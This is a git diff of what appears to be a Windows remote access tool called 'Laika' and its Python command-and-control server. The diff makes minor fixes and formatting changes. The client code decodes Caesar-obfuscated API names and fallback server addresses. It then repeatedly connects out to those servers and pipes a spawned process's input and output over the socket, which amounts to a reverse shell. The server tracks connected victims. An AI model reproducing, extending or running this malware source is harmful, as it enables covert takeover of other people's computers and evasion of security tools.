diff --git a/Laika/main.c b/Laika/main.c index 4292d09..d13446b 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -32,7 +32,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { break; } else { - Api.Sleep(50); + Sleep_(50); } } @@ -110,7 +110,7 @@ char* fallback_servers[4]; int serv = -1; int main() { InitApis(); - + Message(); fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:"); @@ -144,7 +144,7 @@ retry: } serv++; - if (serv > FALLBACK_SERVERS-1) { + if (serv > FALLBACK_SERVERS - 1) { serv = 0; } server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]); @@ -179,7 +179,7 @@ retry: */ //Receive a reply from the server - if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) + if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) //access violation { //recv failed Sleep_(Sleep_TIME); @@ -237,7 +237,7 @@ retry: goto retry; } - watch_process_args args = { sock, pi.hProcess}; + watch_process_args args = { sock, pi.hProcess }; HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); // Wait for the process to finish diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 9684f3d..9c630bd 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -45,6 +45,7 @@ void InitApis() { if (!hMsvcrt) { return; } + Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy")); Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth")); Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj")); diff --git a/Server/Server.py b/Server/Server.py index aabce7b..91c6082 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -54,16 +54,19 @@ def on_new_client() -> None : def on_close_socket() -> None: global CONNECT_CLIENTS + global SELECTED_CLIENT while True : for s in CONNECT_CLIENTS : try: # this will try to read bytes without blocking and also without removing them from buffer (peek only) data = s.recv(16, socket.MSG_PEEK) if len(data) == 0: + if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1 CONNECT_CLIENTS.remove(s) except BlockingIOError: pass # socket is open and reading from it would block except ConnectionResetError: + if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1 CONNECT_CLIENTS.remove(s) # socket was closed for some other reason except Exception as e: pass